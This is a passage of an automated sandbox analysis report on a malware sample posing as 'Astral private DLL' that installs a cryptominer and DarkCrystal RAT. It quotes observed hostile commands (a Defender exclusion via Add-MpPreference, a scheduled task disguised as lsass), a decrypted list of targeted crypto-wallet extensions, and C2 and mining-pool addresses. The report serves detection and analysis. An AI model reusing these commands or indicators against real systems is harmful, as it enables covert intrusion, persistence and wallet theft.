Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force, ProcessId: 5800, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\toes5wxx\toes5wxx.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\toes5wxx\toes5wxx.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\containerperf/ServerComponenthostMonitorDll.exe", ParentImage: C:\containerperf\ServerComponenthostMonitorDll.exe, ParentProcessId: 6808, ParentProcessName: ServerComponenthostMonitorDll.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\toes5wxx\toes5wxx.cmdline", ProcessId: 2424, ProcessName: csc.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 9 /tr "'C:\containerperf\lsass.exe'" /rl HIGHEST /f, CommandLine: schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 9 /tr "'C:\containerperf\lsass.exe'" /rl HIGHEST /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: C:\Windows\system32\lsass.exe, ParentImage: C:\Windows\System32\lsass.exe, ParentProcessId: 628, ParentProcessName: lsass.exe, ProcessCommandLine: schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 9 /tr "'C:\containerperf\lsass.exe'" /rl HIGHEST /f, ProcessId: 1720, ProcessName: schtasks.exe

Suricata Signatures

ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T13:42:25.314532+0100	2036289	2	Crypto Currency Mining Activity Detected	192.168.2.4	49241	1.1.1.1	53	UDP

ET MALWARE SilentCryptoMiner Agent Config Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T13:42:27.409891+0100	2054247	1	A Network Trojan was detected	104.20.4.235	443	192.168.2.4	49927	TCP

ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T13:41:33.872716+0100	2048095	1	A Network Trojan was detected	192.168.2.4	49888	37.44.238.250	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: AstralprivateDLL.exe.bin.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Windows\appcompat\powershell.exe	Avira: detection malicious, Label: HEUR/AGEN.1339906
Source: C:\Users\user\Desktop\AvUrEmYP.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\containerperf\lsass.exe	Avira: detection malicious, Label: HEUR/AGEN.1339906
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Avira: detection malicious, Label: HEUR/AGEN.1339906
Source: C:\Users\user\AppData\Local\Temp\bcapgbqjwdsj.tmp	Avira: detection malicious, Label: HEUR/AGEN.1362795
Source: C:\Program Files\Windows Defender\Platform\sihost.exe	Avira: detection malicious, Label: HEUR/AGEN.1339906
Source: C:\Windows\en-GB\WmiPrvSE.exe	Avira: detection malicious, Label: HEUR/AGEN.1339906
Source: C:\containerperf\mtmIdTw4RygS3trJMnWvLFqF6dzRpLwhZvwqEPqaKDGsnR5lufKuCs3iyL.vbe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Users\user\AppData\Local\Temp\bxCB1k3pGG.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Windows\en-GB\WmiPrvSE.exe	Avira: detection malicious, Label: HEUR/AGEN.1339906
Source: C:\Users\user\Desktop\qHqBUadh.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb

Multi AV Scanner detection for dropped file

Source: C:\Program Files\Google\Chrome\updater.exe	ReversingLabs: Detection: 79%
Source: C:\Program Files\Google\Chrome\updater.exe	Virustotal: Detection: 68%	Perma Link
Source: C:\Program Files\Windows Defender\Platform\sihost.exe	ReversingLabs: Detection: 60%
Source: C:\Program Files\Windows Defender\Platform\sihost.exe	Virustotal: Detection: 48%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	ReversingLabs: Detection: 62%
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Virustotal: Detection: 43%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\bcapgbqjwdsj.tmp	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Temp\bcapgbqjwdsj.tmp	Virustotal: Detection: 82%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\Desktop\AvUrEmYP.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\IbBZTfZC.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\OMvfRcDl.log	ReversingLabs: Detection: 37%
Source: C:\Users\user\Desktop\gYWllyYA.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\qHqBUadh.log	ReversingLabs: Detection: 50%
Source: C:\Windows\appcompat\powershell.exe	ReversingLabs: Detection: 60%
Source: C:\Windows\en-GB\WmiPrvSE.exe	ReversingLabs: Detection: 60%
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	ReversingLabs: Detection: 60%
Source: C:\containerperf\WmiPrvSE.exe	ReversingLabs: Detection: 60%
Source: C:\containerperf\lsass.exe	ReversingLabs: Detection: 60%

Multi AV Scanner detection for submitted file

Source: AstralprivateDLL.exe.bin.exe	ReversingLabs: Detection: 60%
Source: AstralprivateDLL.exe.bin.exe	Virustotal: Detection: 72%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Desktop\QWRgRujm.log	Joe Sandbox ML: detected
Source: C:\Windows\appcompat\powershell.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\gYWllyYA.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\AvUrEmYP.log	Joe Sandbox ML: detected
Source: C:\Program Files\Google\Chrome\updater.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Joe Sandbox ML: detected
Source: C:\containerperf\lsass.exe	Joe Sandbox ML: detected
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\bcapgbqjwdsj.tmp	Joe Sandbox ML: detected
Source: C:\Program Files\Windows Defender\Platform\sihost.exe	Joe Sandbox ML: detected
Source: C:\Windows\en-GB\WmiPrvSE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\nWKkNNTp.log	Joe Sandbox ML: detected
Source: C:\Windows\System32\SecurityHealthSystray.exe	Joe Sandbox ML: detected
Source: C:\Windows\en-GB\WmiPrvSE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: AstralprivateDLL.exe.bin.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000000D.00000002.2245855345.00000000126BD000.00000004.00000800.00020000.00000000.sdmp	String decryptor: {"0":[],"31395ecd-4eed-48b9-a47f-81dbcc84ccdf":{"_0":"True","_1":"nkbihfbeogaeaoehlefnkodbefgpgknn:MetaMask\nejbalbakoplchlghecdalmeeeajnimhm:MetaMask\nibnejdfjmmkpcnlpebklmnkoeoihofec:TronLink\nfnjhmkhhmkbjkkabndcnnogagogbneec:Ronin\nkjmoohlgokccodicjjfebfomlbljgfhk:Ronin\nfhbohimaelbohpjbbldcngcnapndodjp:BinanceChain\nbfnaelmomeimhlpmgjnjophhpkkoljpa:Phantom\nnphplpgoakhhjchkkhmiggakijnkhfnd:TONWeb\nffnbelfdoeiohenkjibnmadjiehjhajb:Yoroi\nakoiaibnepcedcplijmiamnaigbepmcb:Yoroi\nafbcbjpbpfadlkmhmclhkeeodmamcflc:MathWallet\nhnfanknocfeofbddgcijnmhnfnkdnaad:Coinbase\nimloifkgjagghnncjkhggdhalmcnfklk:TrezorPM\nilgcnhelpchnceeipipijaljkblbcobl:GAuth\noeljdldpnmdbchonielidgobddffflal:EOS\ncjelfplplebdjjenllpjcblmjkfcffne:JaxxLiberty\nlgmpcpglpngdoalbgeoldeajfclnhafa:SafePal\naholpfdialjgjfhomihkjbmgjidlcdno:Exodus","_2":"All Users","_3":"True"},"2a025748-b498-4ae9-8f8c-b763dd8b5ffc":{"_0":"Custom","_1":"True","_2":"True","_3":"True"},"ff275d84-13f9-47b8-9de6-a3dfeab3ea1e":{"_0":"System drive"}}
Source: 0000000D.00000002.2245855345.00000000126BD000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ["bj0UKX3O1fsx9BYPGXoKHqjvLayVva1jN63FIaBpzhY4ZE1D43om8NOuAFJtihcbnIkDHSHpW8UjRpWHjvb2vPk9sIFCRRHSF7QQdy5lw8PA2odUtBKwGkpYhlU9MEYF","DCR_MUTEX-iaIcn2RAvedg70EnUwKf","0","new(standoff)","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhVnB0Um5Oak1sVnBURU5KZVVscWIybGFiVVp6WXpKVmFVeERTWHBKYW05cFpFaEtNVnBUU1hOSmFsRnBUMmxLTUdOdVZteEphWGRwVGxOSk5rbHVVbmxrVjFWcFRFTkpNa2xxYjJsYWJVWnpZekpWYVV4RFNUTkphbTlwV20xR2MyTXlWV2xNUTBrMFNXcHZhV1JJU2pGYVUwbHpTV3ByYVU5cFNqQmpibFpzU1dsM2FVMVVRV2xQYVVvd1kyNVdiRWxwZDJsTlZFVnBUMmxLYlZsWGVIcGFVMGx6U1dwRmVVbHFiMmxrU0VveFdsTkpjMGxxUlhwSmFtOXBaRWhLTVZwVFNYTkpha1V3U1dwdmFXUklTakZhVTBvNUlsMD0iXQ=="]

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Source: AstralprivateDLL.exe.bin.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Directory created: C:\Program Files\Windows Defender\Platform\sihost.exe			Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Directory created: C:\Program Files\Windows Defender\Platform\66fc9ff0ee96c2			Jump to behavior

Source:

Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: AstralprivateDLL.exe.bin.exe, 00000000.00000003.1717902037.0000000003033000.00000004.00000020.00020000.00000000.sdmp, Astral private DLL.exe, 00000001.00000003.1728765563.0000000006653000.00000004.00000020.00020000.00000000.sdmp, Astral private DLL.exe, 00000001.00000003.1729671319.000000000665D000.00000004.00000020.00020000.00000000.sdmp, Astral private DLL.exe, 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmp, Astral private DLL.exe, 00000001.00000000.1725815742.0000000000193000.00000002.00000001.01000000.00000005.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

System file written: C:\Windows\System32\SecurityHealthSystray.exe

Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_0016A69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	1_2_0016A69B
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_0017C220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	1_2_0017C220
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Code function: 2_2_0000024B3455BE3C FindFirstFileExW,	2_2_0000024B3455BE3C
Source: C:\Windows\System32\conhost.exe	Code function: 8_2_00000216ACFDBE3C FindFirstFileExW,	8_2_00000216ACFDBE3C
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_1AFFBE3C FindFirstFileExW,	13_2_1AFFBE3C
Source: C:\Windows\System32\conhost.exe	Code function: 22_2_0000013ACAE9BE3C FindFirstFileExW,	22_2_0000013ACAE9BE3C
Source: C:\Windows\System32\winlogon.exe	Code function: 27_2_00000225DC64BE3C FindFirstFileExW,	27_2_00000225DC64BE3C
Source: C:\Windows\System32\lsass.exe	Code function: 28_2_00000202C0AEBE3C FindFirstFileExW,	28_2_00000202C0AEBE3C
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000002A66130BE3C FindFirstFileExW,	30_2_000002A66130BE3C
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000002BAAEFBBE3C FindFirstFileExW,	31_2_000002BAAEFBBE3C
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A879CBE3C FindFirstFileExW,	34_2_0000026A879CBE3C
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000179537ABE3C FindFirstFileExW,	35_2_00000179537ABE3C
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D56BE3C FindFirstFileExW,	36_2_000002295D56BE3C

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49888 -> 37.44.238.250:80
Source: Network traffic	Suricata IDS: 2054247 - Severity 1 - ET MALWARE SilentCryptoMiner Agent Config Inbound : 104.20.4.235:443 -> 192.168.2.4:49927

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Source: Network traffic

Suricata IDS: 2036289 - Severity 2 - ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro) : 192.168.2.4:49241 -> 1.1.1.1:53

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: pool.hashvault.pro
Source: global traffic	DNS traffic detected: DNS query: pastebin.com

Source: AstralprivateDLL.exe.bin.exe, 00000000.00000003.1726981626.0000000003569000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: http://crl.m

System Summary

Uses powercfg.exe to modify the power settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_1AFF26F0 NtQueryDirectoryFileEx,GetFileType,StrCpyW,	13_2_1AFF26F0
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_1AFF2A7C NtEnumerateValueKey,NtEnumerateValueKey,	13_2_1AFF2A7C
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_1AFF23F0 GetProcessIdOfThread,GetCurrentProcessId,CreateFileW,WriteFile,ReadFile,CloseHandle,NtResumeThread,	13_2_1AFF23F0
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_1AFF2CDC NtDeviceIoControlFile,GetModuleHandleA,GetProcAddress,StrCmpNIW,lstrlenW,lstrlenW,	13_2_1AFF2CDC
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_1AFF24DC NtQueryDirectoryFile,GetFileType,StrCpyW,	13_2_1AFF24DC
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_1AFF21CC NtQuerySystemInformation,StrCmpNIW,	13_2_1AFF21CC
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_1AFF29B4 NtEnumerateKey,NtEnumerateKey,	13_2_1AFF29B4
Source: C:\Windows\System32\dialer.exe	Code function: 20_2_00007FF603B010C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,	20_2_00007FF603B010C0
Source: C:\Windows\System32\winlogon.exe	Code function: 27_2_00000225DC642A7C NtEnumerateValueKey,NtEnumerateValueKey,	27_2_00000225DC642A7C
Source: C:\Windows\System32\lsass.exe	Code function: 28_2_00000202C0AE21CC NtQuerySystemInformation,StrCmpNIW,	28_2_00000202C0AE21CC
Source: C:\Windows\System32\lsass.exe	Code function: 28_2_00000202C0AE26F0 NtQueryDirectoryFileEx,GetFileType,StrCpyW,	28_2_00000202C0AE26F0
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000002BAAEFB2A7C NtEnumerateValueKey,NtEnumerateValueKey,	31_2_000002BAAEFB2A7C

Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe

Code function: 1_2_00166FAA: __EH_prolog,_wcslen,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

1_2_00166FAA

Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\Windows\en-GB\WmiPrvSE.exe	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\Windows\en-GB\24dbde2999530e	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\Windows\appcompat\powershell.exe	Jump to behavior
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	File created: C:\Windows\appcompat\e978f868350d50	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\Tasks\lsassl
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\Tasks\lsass
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\Tasks\sihosts
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\Tasks\sihost
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\Tasks\WmiPrvSEW
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\Tasks\WmiPrvSE
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\Tasks\ServerComponenthostMonitorDllS
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\Tasks\ServerComponenthostMonitorDll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\CSCC4EE3A879404710AD2E4883A563BED.TMP
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\SecurityHealthSystray.exe

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

File deleted: C:\Windows\System32\CSCC4EE3A879404710AD2E4883A563BED.TMP

Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_0016848E	1_2_0016848E
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_00174088	1_2_00174088
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_001700B7	1_2_001700B7
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_001640FE	1_2_001640FE
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_00177153	1_2_00177153
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_001851C9	1_2_001851C9
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_001762CA	1_2_001762CA
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_001632F7	1_2_001632F7
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_001743BF	1_2_001743BF
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_0016C426	1_2_0016C426
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_0018D440	1_2_0018D440
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_0016F461	1_2_0016F461
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_001777EF	1_2_001777EF
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_0016286B	1_2_0016286B
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_0018D8EE	1_2_0018D8EE
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_0016E9B7	1_2_0016E9B7
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_001919F4	1_2_001919F4
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_00176CDC	1_2_00176CDC
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_00173E0B	1_2_00173E0B
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_00184F9A	1_2_00184F9A
Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	Code function: 1_2_0016EFE2	1_2_0016EFE2
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Code function: 2_2_0000024B3451B23C	2_2_0000024B3451B23C
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Code function: 2_2_0000024B34521658	2_2_0000024B34521658
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Code function: 2_2_0000024B3451F2F8	2_2_0000024B3451F2F8
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Code function: 2_2_0000024B3451B030	2_2_0000024B3451B030
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Code function: 2_2_0000024B345120DC	2_2_0000024B345120DC
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Code function: 2_2_0000024B3455BE3C	2_2_0000024B3455BE3C
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Code function: 2_2_0000024B34562258	2_2_0000024B34562258
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Code function: 2_2_0000024B3455FEF8	2_2_0000024B3455FEF8
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Code function: 2_2_0000024B3455BC30	2_2_0000024B3455BC30
Source: C:\Users\user\AppData\Local\Temp\twain_32.exe	Code function: 2_2_0000024B34552CDC	2_2_0000024B34552CDC
Source: C:\Windows\System32\conhost.exe	Code function: 8_2_00000216AAA7B23C	8_2_00000216AAA7B23C
Source: C:\Windows\System32\conhost.exe	Code function: 8_2_00000216AAA7F2F8	8_2_00000216AAA7F2F8
Source: C:\Windows\System32\conhost.exe	Code function: 8_2_00000216AAA81658	8_2_00000216AAA81658
Source: C:\Windows\System32\conhost.exe	Code function: 8_2_00000216AAA7B030	8_2_00000216AAA7B030
Source: C:\Windows\System32\conhost.exe	Code function: 8_2_00000216AAA720DC	8_2_00000216AAA720DC
Source: C:\Windows\System32\conhost.exe	Code function: 8_2_00000216ACFDBC30	8_2_00000216ACFDBC30
Source: C:\Windows\System32\conhost.exe	Code function: 8_2_00000216ACFD2CDC	8_2_00000216ACFD2CDC
Source: C:\Windows\System32\conhost.exe	Code function: 8_2_00000216ACFDBE3C	8_2_00000216ACFDBE3C
Source: C:\Windows\System32\conhost.exe	Code function: 8_2_00000216ACFDFEF8	8_2_00000216ACFDFEF8
Source: C:\Windows\System32\conhost.exe	Code function: 8_2_00000216ACFE2258	8_2_00000216ACFE2258
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_1AFCF2F8	13_2_1AFCF2F8
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_1AFD1658	13_2_1AFD1658
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_1AFCB23C	13_2_1AFCB23C
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_1AFC20DC	13_2_1AFC20DC
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_1AFCB030	13_2_1AFCB030
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_1AFF2CDC	13_2_1AFF2CDC
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_1AFFFEF8	13_2_1AFFFEF8
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_1AFFBE3C	13_2_1AFFBE3C
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_1B002258	13_2_1B002258
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_1AFFBC30	13_2_1AFFBC30
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_00007FFD9BAC0D78	13_2_00007FFD9BAC0D78
Source: C:\containerperf\ServerComponenthostMonitorDll.exe	Code function: 13_2_00007FFD9BEC0149	13_2_00007FFD9BEC0149
Source: C:\Windows\System32\dialer.exe	Code function: 20_2_00007FF603B02328	20_2_00007FF603B02328
Source: C:\Windows\System32\dialer.exe	Code function: 20_2_00007FF603B014E4	20_2_00007FF603B014E4
Source: C:\Windows\System32\dialer.exe	Code function: 20_2_00007FF603B01DB4	20_2_00007FF603B01DB4
Source: C:\Windows\System32\dialer.exe	Code function: 20_2_00007FF603B026E8	20_2_00007FF603B026E8
Source: C:\Windows\System32\conhost.exe	Code function: 22_2_0000013ACAE620DC	22_2_0000013ACAE620DC
Source: C:\Windows\System32\conhost.exe	Code function: 22_2_0000013ACAE6B030	22_2_0000013ACAE6B030
Source: C:\Windows\System32\conhost.exe	Code function: 22_2_0000013ACAE6F2F8	22_2_0000013ACAE6F2F8
Source: C:\Windows\System32\conhost.exe	Code function: 22_2_0000013ACAE6B23C	22_2_0000013ACAE6B23C
Source: C:\Windows\System32\conhost.exe	Code function: 22_2_0000013ACAE71658	22_2_0000013ACAE71658
Source: C:\Windows\System32\conhost.exe	Code function: 22_2_0000013ACAE92CDC	22_2_0000013ACAE92CDC
Source: C:\Windows\System32\conhost.exe	Code function: 22_2_0000013ACAE9BC30	22_2_0000013ACAE9BC30
Source: C:\Windows\System32\conhost.exe	Code function: 22_2_0000013ACAE9FEF8	22_2_0000013ACAE9FEF8
Source: C:\Windows\System32\conhost.exe	Code function: 22_2_0000013ACAE9BE3C	22_2_0000013ACAE9BE3C
Source: C:\Windows\System32\conhost.exe	Code function: 22_2_0000013ACAEA2258	22_2_0000013ACAEA2258
Source: C:\Windows\System32\winlogon.exe	Code function: 27_2_00000225DC621658	27_2_00000225DC621658
Source: C:\Windows\System32\winlogon.exe	Code function: 27_2_00000225DC61B23C	27_2_00000225DC61B23C
Source: C:\Windows\System32\winlogon.exe	Code function: 27_2_00000225DC61F2F8	27_2_00000225DC61F2F8
Source: C:\Windows\System32\winlogon.exe	Code function: 27_2_00000225DC61B030	27_2_00000225DC61B030
Source: C:\Windows\System32\winlogon.exe	Code function: 27_2_00000225DC6120DC	27_2_00000225DC6120DC
Source: C:\Windows\System32\winlogon.exe	Code function: 27_2_00000225DC652258	27_2_00000225DC652258
